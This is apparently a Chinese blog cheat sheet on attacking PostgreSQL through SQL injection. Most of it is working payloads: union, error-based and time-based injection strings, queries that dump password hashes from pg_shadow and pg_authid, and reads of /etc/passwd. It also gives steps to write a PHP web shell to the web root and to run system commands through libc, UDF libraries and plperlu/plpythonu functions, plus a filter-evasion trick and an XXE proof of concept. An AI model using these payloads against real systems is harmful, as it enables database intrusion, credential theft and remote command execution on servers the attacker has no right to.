PostgreSQL SQLinject
今天遇到一个pg的变态站,索性做下pg总结
1.会话信息函数
名称 | 返回类型 | 描述 |
---|---|---|
current_catalog | name | 当前数据库名(在SQL标准里叫”catalog”) |
current_database() | name | 当前数据库名 |
urrent_schema[()] | name | 当前模式名 |
current_schemas(boolean) | name[] | 搜索路径中的模式名字,包括可选的隐式模式 |
current_user | name | 当前执行环境下的用户名 |
current_query() | text | 执行当前的文本查询,由客户端提交(可能包含多于1句) |
pg_backend_pid() | int | 连接到当前会话的服务器进程 ID |
pg_listening_channels() | setof text | 正在侦听的当前会话的信道名称 |
inet_client_addr() | inet | 连接的远端地址 |
inet_client_port() | int | 连接的远端端口 |
inet_server_addr() | inet | 连接的本地地址 |
inet_server_port() | int | 连接的本地端口 |
pg_my_temp_schema() | oid | 会话的临时模式的OID ,不存在则为 0 |
pg_is_other_temp_schema(oid) | boolean | 是否为另一个会话的临时模式? |
pg_postmaster_start_time() | timestamp with time zone | 服务器启动时间 |
pg_conf_load_time() | timestamp with time zone | 配置加载时间 |
session_user | name | 会话用户名 |
user | name | 等价于current_user |
version() | text | PostgreSQL版本信息 |
标黑的为常用函数.
2.注入
回显方式
- test.php?id=1 order by 5–+判断字段
- test.php?id=-1 union select null,null,null,null,null–+//需要判断字段类型,先用null填充
- test.php?id=1 union select null,’1‘,null,null,null–+//测试类型和回显位置
- test.php?id=1 union select null,version(),null,null,null–+ //查看数据库信息,其他注入语句类似
错误回显方式
- test.php?id=1 and 1=(select version())::int–+
- test.php?id=1 and 1=(select version() as int)–+
延时方式
- test.php?id=1;select pg_sleep(10)–+
基本语句:
- SELECT table_name FROM information_schema.tables WHERE table_schema = ‘public’ limit 1 offset n;//table_schema = ‘public’排出系统表,表
- SELECT column_name FROM information_schema.columns WHERE table_name =’table’ limit 1 offset n; //字段
- select relname from pg_class limit 1 offset n;//获取表名
- select oid from pg_class where relname=tablename;//获取oid
- select attname from pg_attribute where attrelid=16402 limit 1 offset n;//获取列名
- select attname from pg_attribute where attrelid=(select oid from pg_class where relname=(select relname from pg_stat_user_tables limit 1 offset 1)) limit 1 offset 1; //合并前三个
获取数据库名 //pg不能跨库,只能在终端上切换(以下两个功能一样)
- select datname from pg_database limit 1 offset 1;
- select datname from pg_stat_database limit 1 offset 1;
判断当前用户是否为超级用户(返回值为bool)
- select usesurper from pg_user where usename=current_user;
- select usesurper from pg_shadow where usename=current_user;
获取数据库帐号hash(此帐号也会在系统中建立,需usesurper权限查看)
- select rolname,rolpassword from pg_authid ;
- select usename,passwd from pg_shadow;
获取pg安装路径
- SELECT current_setting(‘hba_file’) ;
3.系统函数
pg_logdir_ls(),pg_ls_dir(),pg_file_rename(),pg_write_file(), pg_read_file(),pg_file_length() 为内置函数,可以进行读写等操作,不过他们都被限制在pg的指定目录下,也是鸡肋
如:select pg_read_file(‘global/pg_database’,0,10000000);
4.基本操作符
– ,/* //注释符
:: //PostgreSQL 特有的类型转换操作符
|| // 连接符
$q$text$q$ //$$ 之间可以是任意内容,来代替单引号。原理看这:$q$逃逸语法
1.读写文件
方法1.
适用于可以多语句执行时
读取
[cc lang="php"]
CREATE TABLE read(t TEXT);
COPY read FROM ‘/etc/passwd’;
SELECT * FROM read limit 1 offset 0;
drop table read;
[/cc]
写出
[cc lang="php"]
CREATE TABLE shell(t TEXT);
INSERT INTO shell(t) VALUES (‘shel text’);
COPY shell(t) TO ‘/www/shell.php’;
[/cc]
方法2.
适用于不能多语句执行,且当前用户为超级用户
读取
[cc lang="php"]
select lo_import(‘/etc/passwd’,88888);//输入系统文件到大对象,指定oid为88888
select array_agg(b) from (select encode(data,’hex’)b,pageno from pg_largeobject where loid=88888 order by pageno)a;//取出数据的hex编码,自己复制本地转换
select lo_unlink(88888);//删除loid为88888的大对象
[/cc]
写出
[cc lang="php"]
select lo_create(88888);//创建loid为88888空的大对象
select lowrite(lo_open(88888,131072),decode(’272829′,’hex’));//inv_write(写,值为131072) inv_read(读,值为262144) inv_write|inv_read (读写,值为393216),272829为想写入文件的hex值(前面无0X)
select lo_export(88888,’/tmp/shell.php’);//写出shell
select lo_unlink(88888);
[/cc]
大对象详情
http://doc.zzbaike.com/postgresql/8-1/pgsqldoc-cvs/lo-interfaces.html
http://blog.chinaunix.net/uid-63508-id-112665.html
2.命令执行
1.内置libc库的system()函数,8.1版本后不能动态加载
[cc lang="php"]
CREATE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT;
select system(‘id’);
[/cc]
2.udf导出(使用大对象导出)
[cc lang='php']
insert into pg_largeobject (loid,pageno,data) values(loid, 0, decode(”, ‘hex’));//插入pg对应版本udf的hex值,其中loid为int型数值尽量取大些如999999
select lo_export(999999,’/tmp/sys.so’);导出udf文件
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS ‘/tmp/sys.so’, ‘sys_eval’ LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;//创建sys_eval函数
select sys_eval(‘id’);可以执行命令了
[/cc]
pg导出udf工具 需要可以外联,知道帐号密码
http://pan.baidu.com/share/link?shareid=2228793351&uk=1898022059
(其中里面的py脚本里有8.3-9.0版本udf hex值)
3.使用第三方语言如perl/python(需要目标存在第三方库)
1.perl
[cc lang="php"]
SELECT count(*) FROM pg_language WHERE lanname=’plperlu’;//查询是否创建plperlu,安装了返回1,没有返回0
CREATE LANGUAGE plperlu;//为0的话可以尝试添加
CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,”$_[0] |”);return join(“”,);’ LANGUAGE plperlu;//创建perl函数
select proxyshell(‘id’);//执行命令
[/cc]
2.python(同上)
[cc lang="php"]
SELECT count(*) FROM pg_language WHERE lanname=’plpythonu’;
CREATE LANGUAGE plpythonu;
CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read() ‘LANGUAGE plpythonu;
select proxyshell(‘id’);
[/cc]
tips:
1.回显命令可以把结果插进表中
[cc lang="php"]
create table test(id serial,out text);
insert into test(out) values(proxyshell(‘ls /tmp’));
select out from test where id=1;
[/cc]
2.更加方便的可以直接wget,反弹shell
3.创建函数时字符被过滤,可以这样
[cc lang="php"]
CREATE FUNCTION sys() RETURNS text AS $p$open(FD,chr(105).chr(100).chr(32).chr(124));return join(0,);$p$ LANGUAGE plperlu; //命令直接写入函数,char(105),char(100)为id命令,其他命令转为ascii编码写入
select sys();//执行命令
drop function sys();//删除函数,写入下个命令
[/cc]
3.基于错误XML漏洞
poc:
[cc lang="php"]
SELECT xslt_process(‘] >&asd;30400‘::text, $$ $$::text, ‘n1=v1,n2=v2,n3=v3,n4=v4,n5=v5′::text);
[/cc]
更多详情:
http://www.80sec.com/xml-entity-injection.html
http://lab.onsec.ru